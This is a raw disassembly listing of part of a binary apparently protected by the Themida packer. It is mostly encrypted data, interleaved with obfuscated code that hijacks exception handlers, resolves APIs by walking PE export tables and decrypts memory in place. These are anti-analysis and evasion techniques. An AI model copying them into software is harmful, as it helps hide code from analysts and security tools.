		dd 8104246Ch, 19042444h, 45000000h, 0CAC9C355h,	0A2727453h
		dd 459D8B60h, 2907E42Dh, 0E41F4995h, 50F86107h,	8E960h
		dd 22740000h, 4F479681h, 7E8F7A5h, 31000000h, 0F284DDA7h
		dd 61606EC1h, 4896159h,	12870F24h, 0E9000000h, 0Dh, 0B8D3CFC7h
		dd 0FE3A0AE4h, 55D1912h, 24448B1Fh, 0E8C0F2Ch, 60000000h
		dd 850Fh, 9D890000h, 7E4089Dh, 66605061h, 7DB9CF8Bh, 614FEB66h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 8E32C355h, 0A217C12Dh,	8E9h, 0F932D200h
		dd 80A2C494h, 0D8858DA7h, 6007E77Eh, 820FB1B5h,	6, 0A99D8Bh
		dd 0FF6107E4h, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 6EDA5061h, 14E99A3Ah
		dd 0E4000000h, 9705A73h, 56195DC5h, 0C361B420h,	0CFFDEDA0h
		dd 33C0489h, 0F9282444h, 51006AABh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 952939DAh, 7E4022Dh, 8E8DFF5Eh
		dd 8307E7B0h, 0E7B08EBDh, 0A750007h, 0B58DC033h, 7E7C0F4h
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 7ED8858Dh, 0D0FF07E7h, 28244403h, 8ADF8B97h,	0E7B08A85h
		dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 0D185FF04h, 0E907E412h, 0FFFFFF5Dh
		dd 51006A5Eh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9864F812h, 7E9F9h, 6F990000h, 0D4C9D748h
		dd 0D1858B4Fh, 6A07E412h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2D49C355h, 820F42C2h
		dd 15h,	10E9h, 2A4E9E00h, 0B7659E30h, 5089632Bh, 7ACA0672h
		dd 6880F95h, 89000000h,	0E42DA995h, 89E0D107h, 0E41B31BDh
		dd 0F9850307h, 0E907E41Ah, 0Dh,	9C6EA445h, 0F9D56F3Ch
		dd 56974E75h, 0E9F62BA6h, 0Ch, 8368AF91h, 0C321AF00h, 0C4EB95E0h
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0B5485D5Ah, 80893330h, 8D2B6044h, 7E41EE9h
		dd 0F9EE8166h, 860F61D3h, 1, 0E9AD66F8h, 8, 0D68EADABh
		dd 80CDC98Eh, 6A02E0C1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 7DEEC350h, 0E852CFE0h
		dd 90D8503h, 896007E4h,	0E40D359Dh, 18BA6607h, 6A9661D8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1DC1C350h, 0A940D5C4h, 0BF605E4Bh, 6700FF39h
		dd 61CBB70Fh, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 440C9EB9h, 7C8139A8h, 2424h, 870F1000h
		dd 0EDh, 18E1B501h, 0F9007E4h, 1B89h, 158C0F00h, 0E9000000h
		dd 10h,	26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh, 0C8C0F50h
		dd 0F000000h, 684h, 0F525000h, 90585A31h, 0A9958B60h, 0E907E42Eh
		dd 13h,	1786FB1Dh, 4A8BFD11h, 2118A43Fh, 0DA220FD6h, 6153D1D8h
		dd 0AE9h, 0B48A300h, 55A4DAE6h,	8B98551Fh, 89282444h, 0E42C3185h
		dd 8A0F5007h, 0Ah, 61605250h, 6160310Fh, 489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0AADF5E23h, 28593CA6h, 8D092D22h, 7E407D1h, 0A9B96660h
		dd 21EBBA1Ah, 8D610578h, 0E77ED885h
		dd 81666007h, 0E9F5ACEAh, 0Eh, 26E23D2Bh, 26E97AB6h, 3A57B103h
		dd 0FF61ABB9h, 6800FD0h, 1000000h, 0E41FDDB5h, 24440307h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 14C158D3h, 0EE9h, 1CF5E400h, 0E7164FE2h
		dd 0E1E874F1h, 898CE879h, 11C2444h, 0E42209BDh,	2D85C607h
		dd 7E42Ch, 0B21285C7h, 7E7h, 85C70000h,	7E7B092h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5BE5BA
; ---------------------------------------------------------------------------
		db 0A7h, 7Eh, 27h
		dd 0B5FD8353h, 0F494A953h, 3B2ADB5Ch
		db 0AFh, 72h
; ---------------------------------------------------------------------------


loc_5BE5BA:				; CODE XREF: Themida_:005BE5A4j
		stc
		popa
		jge	loc_5BE5C8
		sub	[ebp+7E420D5h],	edx


loc_5BE5C8:				; CODE XREF: Themida_:005BE5BCj
		jno	locret_5BE5D4
		xor	[ebp+7E42D89h],	esi

locret_5BE5D4:				; CODE XREF: Themida_:loc_5BE5C8j
		retn	8
; ---------------------------------------------------------------------------
		clc
		mov	eax, [ebp+7E4090Dh]
		push	0
		push	ecx
		call	sub_5BE5E9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE5E9	proc near		; CODE XREF: Themida_:005BE5E1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5BE5E9	endp

; ---------------------------------------------------------------------------
		db 2Eh,	60h, 66h
		dd 0B95C6B9h, 0E413F9BDh, 6A4A6107h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0AC21C350h
		dd 0E9628077h, 12h, 306B5F43h, 18DAE269h, 0CAE9B687h, 0A2A5E073h
		dd 0D26BB557h, 0DE904h,	86DA0000h, 89DBD190h, 2A8AA758h
		dd 89E2C454h, 0E41E0585h, 6AC20307h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3C355h
		dd 9974702Fh, 0F4B48549h, 6A96F9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0C40E09C3h, 60818A0Ch
		dd 8BF1BF0Fh, 0E414E9B5h, 0FAD6107h, 1284h, 0DE900h, 54B60000h
		dd 9C0A7E40h, 0DD20B538h, 60A71F97h, 1EE9B589h,	0B70F07E4h
		dd 7C8161C9h, 2424h, 870F1000h,	0C6h, 24418D89h, 0E95007E4h
		dd 10h,	32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 89240489h
		dd 0E42CF99Dh, 24448B07h, 55006A28h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F9D6F8C4h
		dd 880F6090h, 2, 5061A6B5h, 60CF8B60h, 310F5250h, 5250585Ah
		dd 585A310Fh, 0F906161h, 181h, 858DF800h, 7E77ED8h, 18B0Fh
		dd 0FFF80000h, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 5683D64Dh, 0DD87855Ah
		dd 6E9A4h, 0ED000000h, 0ACF2F15Dh, 14E9FCh, 0D3E40000h
		dd 57077DFFh, 5E20280h,	0C26F336Eh, 0F156FFCh, 9EE9806Bh
		dd 0F8FFFFFDh, 0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0FCDCBDC3h
		dd 0D6047B61h, 8B0F90F4h, 0Fh, 0AE9h, 485BA100h, 9829FE73h
		dd 509F74DEh, 52505250h, 8E0Fh,	310F0000h, 8F0Fh, 585A0000h
		dd 6660310Fh, 8BD697B9h, 585A61FBh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C3081CFBh
		dd 2A5B1BF9h, 0FF64DCBBh, 35h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 75EDE810h
		dd 0B70F60DAh, 39D981F7h, 617457D2h, 6A24048Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0F245C353h, 0C3BF6198h, 198589E6h, 6A07E430h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 3A19C353h, 9D894D6Bh, 7E415A5h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9FDAC355h, 0DD82E791h, 49F03831h,	0D810Fh
		dd 66600000h, 0B554CF81h, 5A8FE181h, 8D611101h,	0E7C4E085h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0BD896078h, 7E42631h, 1608961h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h, 218D8D29h
		dd 0E9FC07E4h, 251h, 6820F60h, 0F000000h, 83h, 0DBD8900h
		dd 6107E415h, 0E8DB8BFCh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E7C4D9h
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+7E4038Dh], 0
		jz	short loc_5BE991
		mov	eax, [ebp+7E41EB5h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+7E4169Dh]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+7E41665h]


loc_5BE991:				; CODE XREF: Themida_:005BE977j
		pusha
		push	dword ptr [ebp+7E7AC96h]
		lea	eax, [ebp+7E7AC9Ah]
		push	eax
		lea	eax, [ebp+7E7AE92h]
		push	eax
		call	dword ptr [ebp+7E42169h]
		add	esp, 0Ch
		popa
		pusha
		jmp	loc_5BE9BB
; ---------------------------------------------------------------------------
		pop	es
		inc	eax
		jmp	short loc_5BE9BB
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------


loc_5BE9BB:				; CODE XREF: Themida_:005BE9B1j
					; Themida_:005BE9B8j
		js	loc_5BE9CE
		jmp	loc_5BE9CE
; ---------------------------------------------------------------------------
		dw 9B5h
		dd 0A035F250h
		db 6Fh,	0E9h
; ---------------------------------------------------------------------------


loc_5BE9CE:				; CODE XREF: Themida_:loc_5BE9BBj
					; Themida_:005BE9C1j
		popa
		push	0
		push	ebx
		call	sub_5BE9DA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE9DA	proc near		; CODE XREF: Themida_:005BE9D2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BE9DA	endp

; ---------------------------------------------------------------------------
		dw 92BCh
; ---------------------------------------------------------------------------
		scasb
		or	[ebp+7E40185h],	esi
		lea	esi, [ebp+7E7AE92h]
		sub	[ebp+7E414C5h],	ebx
		lea	edi, [ebp+7E43359h]
		xor	[ebp+7E41A2Dh],	edx
		cmp	byte ptr [esi],	0
		jz	loc_5BEA75
		sub	[ebp+7E4009Dh],	ebx
		movsb
		push	0
		push	eax
		call	sub_5BEA26
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEA26	proc near		; CODE XREF: Themida_:005BEA1Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BEA26	endp

; ---------------------------------------------------------------------------
		dw 42E4h
		dd 0CCA2D8C5h, 0FFC9E91Dh, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 144866C3h
		dd 0E91EE8CBh, 0Dh, 0A1D575Ah, 9D78C379h, 0CC71D186h
		db 1Ah
; ---------------------------------------------------------------------------


loc_5BEA75:				; CODE XREF: Themida_:005BEA0Ej
		sub	eax, eax
		cmc
		stosb
		push	0
		push	esi
		call	sub_5BEA84
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEA84	proc near		; CODE XREF: Themida_:005BEA7Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5BEA84	endp

; ---------------------------------------------------------------------------
		dd 0AFE915F9h, 0E59C6D30h, 8B60874Eh, 0F1BF66CFh, 12E961EBh
		dd 29000000h, 698C478Dh, 6C3B71A6h, 44C1284Eh, 8620B84Fh
		dd 7B83Eh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0A1F30BC3h, 1DEE8929h, 0C7247F1Bh
		dd 0E40AD985h, 107h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 2D5A2E42h, 0F609695h
		dd 683h, 99D8900h, 0BF07E432h, 7FFE391Dh, 8D8DFC61h, 7E44FE7h
		dd 14E960h, 0CB5D0000h,	0B56AB4D3h, 0B97DD1DAh,	0BAA6D074h
		dd 0B4ABCCD0h, 8D89DC82h, 7E42C01h, 6AE1FF61h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0C196C357h
; ---------------------------------------------------------------------------


loc_5BEB6C:				; DATA XREF: Themida_:0058457Co
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E7C6EBh
		mov	eax, [ebx+0B8h]
		mov	[ebp+7E7AC96h],	eax
		lea	eax, [ebp+7E7C4D2h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BEBA4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEBA4	proc near		; CODE XREF: Themida_:005BEB9Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BEBA4	endp

; ---------------------------------------------------------------------------
		dd 897C6157h, 0E422059Dh, 0E1852907h, 8907E413h, 0E418D985h
		dd 0BE907h, 47CD0000h, 0CE1B464Ch, 9BC9940Ch, 952960B9h
		dd 7E418B5h, 0C9C4858Dh, 850F07E7h, 1, 0DE990F8h, 26000000h
		dd 7D19F2ACh, 0F0BF5831h, 8806A096h, 16850F50h,	50000000h
		dd 0F525052h, 0F585A31h, 5E931h, 69330000h, 5A3BBA93h
		dd 6A9058h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 810F03C3h, 6, 20DB589h, 858907E4h, 7E41F29h
		dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0E4B4C353h,	9BB32C96h
		dd 0A4BAD2EBh, 6810Fh, 0B5310000h, 7E42631h, 258964h, 0F9000000h
		dd 0CA5B858Dh, 810F07E7h, 15h, 10E9h, 0E4D0C200h, 0AA2B60A2h
		dd 0E781757Ah, 5DABC372h, 160896Fh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0FEC35343h,	0AFA342A2h, 6296A28Ah
		dd 14E9FCh, 0D1620000h,	0B1CBCBD5h, 0CB86D70Fh,	2C9C3E22h
		dd 93DA7FD1h, 85C605FDh, 7E42C2Dh, 0AE9604Fh, 0BB000000h
		dd 34D295C1h, 6C13D118h, 0B4BE6686h, 4E861DFh, 2A000000h
		dd 50FEC874h, 0DE952h, 0BFC70000h, 914758A9h, 87BCB3BFh
		dd 0F8555EAh, 60525031h, 0E9310F61h, 10h, 4ED891D6h, 7A52213Ch
		dd 666D024Dh, 33D1B816h, 585A585Ah, 0FE950h, 0E2FE0000h
		dd 0ADF17EE9h, 88C62AECh, 0FFB6A56Ch, 24448B26h, 0EE904h
		dd 5FF50000h, 0ACCA082Dh, 73F31D56h, 71F6363Bh,	840F008Bh
		dd 8, 2830Fh, 61600000h, 4244489h, 0A880Fh, 52500000h
		dd 310F6160h, 585A6160h, 6850F58h, 29000000h, 0E4216585h
		dd 41B5FF07h, 6A07E421h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 1EB7C353h, 5DBD012Ch
		dd 8907E435h, 0E406F59Dh, 0A7858D07h, 6007E7B0h, 25CD8D8Bh
		dd 0DE907E4h, 0DA000000h, 0C42D2356h, 653726E5h, 0B85B71C6h
		dd 6AD0FF61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9036C353h, 3B0711E1h, 0CBAEAAAh
		dd 0A860Fh, 89600000h, 0E42FF995h, 61C38A07h, 0B5E9h, 0FA8B6000h
		dd 2F7DB501h, 0E96107E4h, 0Fh, 742C1184h, 26ABD6E5h, 94AD292Dh
; ---------------------------------------------------------------------------


loc_5BEE4C:				; DATA XREF: Themida_:005843B4o
		push	5C8B0C4Eh
		and	al, 0Ch
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E7C9CEh
		mov	eax, [ebp+7E4019Dh]
		mov	[ebp+7E42141h],	eax
		mov	eax, [ebp+7E41DE1h]
		mov	[ebp+7E41D89h],	eax
		mov	eax, [ebp+7E40DE1h]
		mov	[ebp+7E401CDh],	eax
		mov	byte ptr [ebp+7E42C2Dh], 0
		mov	dword ptr [ebp+7E7B212h], 0
		lea	eax, [ebp+7E7CA5Bh]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5BEEB0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEEB0	proc near		; CODE XREF: Themida_:005BEEA8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BEEB0	endp

; ---------------------------------------------------------------------------
		mov	bl, ah
		or	cl, [edi-52h]
		sub	al, 6Bh
		scasd
		mov	ds:57006AC9h, al
		call	sub_5BEED5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEED5	proc near		; CODE XREF: Themida_:005BEECDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BEED5	endp

; ---------------------------------------------------------------------------
		push	edx
		mov	esp, 12FF74h
		add	[ebp+7E41CFDh],	eax
		or	[ebp+7E40EA1h],	edi
		pop	large dword ptr	fs:0
		push	0
		push	ebx
		call	sub_5BEF09
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEF09	proc near		; CODE XREF: Themida_:005BEF01p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BEF09	endp

; ---------------------------------------------------------------------------
		push	ebp
		movsd
		lds	eax, [ebx+61FC04C4h]
		jmp	loc_5BEFA9
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5BEFA2
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5BEFA2
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5BEF6C:				; CODE XREF: Themida_:005BEF82j
					; Themida_:005BEF8Aj
		inc	ecx
		mov	ebx, [esp+1Ch]
		mov	edx, [edi]
		add	edx, [esp+20h]
		add	edi, 4


loc_5BEF7A:				; CODE XREF: Themida_:005BEF86j
		mov	al, [edx]
		test	al, al
		jz	short loc_5BEF88
		cmp	al, [ebx]
		jnz	short loc_5BEF6C
		inc	ebx
		inc	edx
		jmp	short loc_5BEF7A
; ---------------------------------------------------------------------------


loc_5BEF88:				; CODE XREF: Themida_:005BEF7Ej
		cmp	al, [ebx]
		jnz	short loc_5BEF6C
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_5BEF9A:				; CODE XREF: Themida_:005BEFA4j
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5BEFA2:				; CODE XREF: Themida_:005BEF34j
					; Themida_:005BEF45j
		xor	eax, eax
		jmp	loc_5BEF9A
; ---------------------------------------------------------------------------


loc_5BEFA9:				; CODE XREF: Themida_:005BEF21j
		mov	ecx, edx
		call	near ptr loc_5BEFBA+4
		wait
		mov	[eax], ebx
		or	al, 0BEh
		adc	eax, 0F4C39588h


loc_5BEFBA:				; CODE XREF: Themida_:005BEFABp
		mov	ebp, 81D964D7h
		loopne	near ptr loc_5BF024+1
		dec	ebp
		sub	eax, 0B8665F3Ah
		fdivr	dword ptr [ebp-7Fh]
		mov	dword ptr [eax-7EFFFF9Dh], 76A19ED8h
		jnp	short loc_5BF03E
		enter	18h, 0
		xor	si, 8664h
		pop	ecx
		mov	esi, 666B35D4h


loc_5BEFE5:				; CODE XREF: Themida_:005BF02Dj
		mov	edx, [edi]
		jo	loc_5BEFEE
		cmc


loc_5BEFEE:				; CODE XREF: Themida_:005BEFE7j
		sub	edx, 41613437h
		xor	si, 6A80h
		sub	edx, 400A235Dh
		movzx	ebx, cx
		xor	edx, 51A03303h
		jl	loc_5BF012
		mov	bx, 0B892h


loc_5BF012:				; CODE XREF: Themida_:005BF008j
		push	edx
		cmc
		pop	dword ptr [edi]
		jmp	loc_5BF021
; ---------------------------------------------------------------------------
		db 85h
		dd 3CEEA63Ch
		db 0C1h
; ---------------------------------------------------------------------------


loc_5BF021:				; CODE XREF: Themida_:005BF016j
		sub	edi, 4


loc_5BF024:				; CODE XREF: Themida_:005BEFBFj
		mov	bx, di
		sub	ecx, 1
		jnz	loc_5BEFE5
		jmp	loc_5BF044
; ---------------------------------------------------------------------------
		dd 0BC0343B1h
; ---------------------------------------------------------------------------
		ja	short loc_5BF04E


loc_5BF03E:				; CODE XREF: Themida_:005BEFD4j
		mov	edi, esi
		test	[ebp+ebp*2+0], cl


loc_5BF044:				; CODE XREF: Themida_:005BF033j
		jmp	short loc_5BF07A
; ---------------------------------------------------------------------------
		dec	ecx
		inc	esi
		push	ebx
		dec	ebp
		inc	edi
		push	edx
		and	[eax], ah


loc_5BF04E:				; CODE XREF: Themida_:005BF03Cj
		push	esi
		dec	ebx
		inc	esp
		and	[eax], ah
		and	[eax], ah
		and	[esi+4Dh], dl
		dec	ebp
		and	[eax], ah
		and	[eax], ah
		and	[esi+57h], dl
		dec	ecx
		dec	esi
		xor	esi, [edx]
		and	[eax], ah
		push	esi
		pop	eax
		inc	esp
		dec	esp
		inc	esp
		push	edx
		and	[eax], ah
; ---------------------------------------------------------------------------
		dw 0
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BF07A:				; CODE XREF: Themida_:loc_5BF044j
		jmp	loc_5BF82B
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BF08A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF08A	proc near		; CODE XREF: Themida_:005BF082p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5BF08A	endp

; ---------------------------------------------------------------------------
		pushf
		pusha
		push	0
		push	ecx
		call	sub_5BF0A7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF0A7	proc near		; CODE XREF: Themida_:005BF09Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5BF0A7	endp

; ---------------------------------------------------------------------------
		db 0F8h
		dd 1F3CAC58h, 7088DAF2h, 0F1B70F60h, 8A0Fh, 0C7610000h
		dd 0E7CBE385h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 91805CCBh, 0F8017042h
		dd 0EE9h, 0E0FE9800h, 0D6795746h, 2DBC6117h, 8B612F97h
		dd 50006AC6h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 1A42630Eh, 0C8C0FB2h, 0F000000h,	689h, 850F00h
		dd 0F000000h, 18Dh, 0B70FF900h,	53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0E33EF3B2h
		dd 0F512BB20h, 6A10E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F73C352h, 185h, 0C166FC00h
		dd 6A08C8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0FFAEE0C3h, 0F279FBEEh, 10E9h, 0E1A2D700h
		dd 63E76833h, 0A3C4C3A5h, 0B07E4609h, 0E78589B4h, 0F507E7CBh
		dd 0CBC166F9h, 13E96008h, 5C000000h, 0D3A80EE5h, 87EFA7E3h
		dd 0C681227h, 0FCBB8AEEh, 8361ED56h, 850F40FBh,	6Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F6C35141h, 697FB625h
		dd 9B1FD67h, 0BBBD8DF5h, 6A07E7CBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C3DCC353h
		dd 0DB4FFD6Dh, 0BF0F609Fh, 47B966C8h, 5360616Ch, 5BAFEA81h
		dd 815E160Dh, 39DEC0E7h, 94E96150h, 0F9000001h,	0F0DFB83h
		dd 6F85h, 66606000h, 8E01F781h,	0E8615951h, 11h, 0B6107EA6h
		dd 0CB5538BCh, 9C3A604Bh, 0F98B7A48h, 11E913h, 0D18A0000h
		dd 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh, 5B4DBAB5h,	0C3BD8D61h
		dd 0F907E7CBh, 0F88B6660h, 40E961F8h, 60000001h, 13E9h
		dd 2DFBB200h, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh
		dd 58C0Fh, 81660000h, 6148D5E2h, 0F01FB83h, 7685h, 0F860F500h
		dd 0FE8h, 8E99B300h, 0E7900C0Ah, 99B6F7DBh, 0EEB2C3ABh
		dd 0AE9h, 6AA08A00h, 0C4E04C29h, 5A1BFC6Eh, 0CBBD8D61h
		dd 6A07E7CBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F936C350h, 0C1E9F5h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0D73B32C3h, 0E56BD222h, 83FC38A3h, 850F2AFBh, 49h, 61F96060h
		dd 0F1816660h, 0C18BC65Bh, 0BD8D6161h, 7E7CBD3h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h, 5DE9FCh
		dd 0EE90000h, 1A000000h, 333945E7h, 8CB8AB20h, 2B97C9E8h
		dd 27FB8383h, 326850Fh,	8DF50000h, 0E7CBDBBDh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 8F0C9754h, 0AE9h, 5B692B00h,	25497930h, 60539D5Fh, 6B5DBA66h
		dd 870Fh, 89610000h, 0E7CBEBBDh, 0F08B6007h, 2820Fh, 61600000h
		dd 0C88C6661h, 14800Fh,	0FE90000h, 0
; ---------------------------------------------------------------------------
		cmp	al, 13h
		sub	[ebx], ebx
		jmp	short loc_5BF474
; ---------------------------------------------------------------------------
		db 0CCh
		db 2Dh
		dd 8E4A1827h, 6E95435h,	8C000000h, 89F18273h, 6A032486h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 97D8C351h, 13E930h, 65890000h, 0E544438h
		dd 4D13A069h, 7E97D01h,	0A3439183h, 0FC00ABEh, 1D085h
; ---------------------------------------------------------------------------


loc_5BF474:				; CODE XREF: Themida_:005BF420j
		add	[eax+0Fh], ah
		lea	eax, ds:66000000h
		and	ebx, 8B66433Ah
		fldenv	byte ptr [ecx+60h]
		mov	eax, 3030D041h
		pusha
		mov	si, cx
		sub	bh, 0Eh
		popa
		popa
		lea	esi, [ebp+7E7D2AAh]
		cld
		mov	eax, [ebp+7E7D353h]
		push	0
		push	ebp
		call	sub_5BF4AC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF4AC	proc near		; CODE XREF: Themida_:005BF4A4p

arg_4		= dword	ptr  8

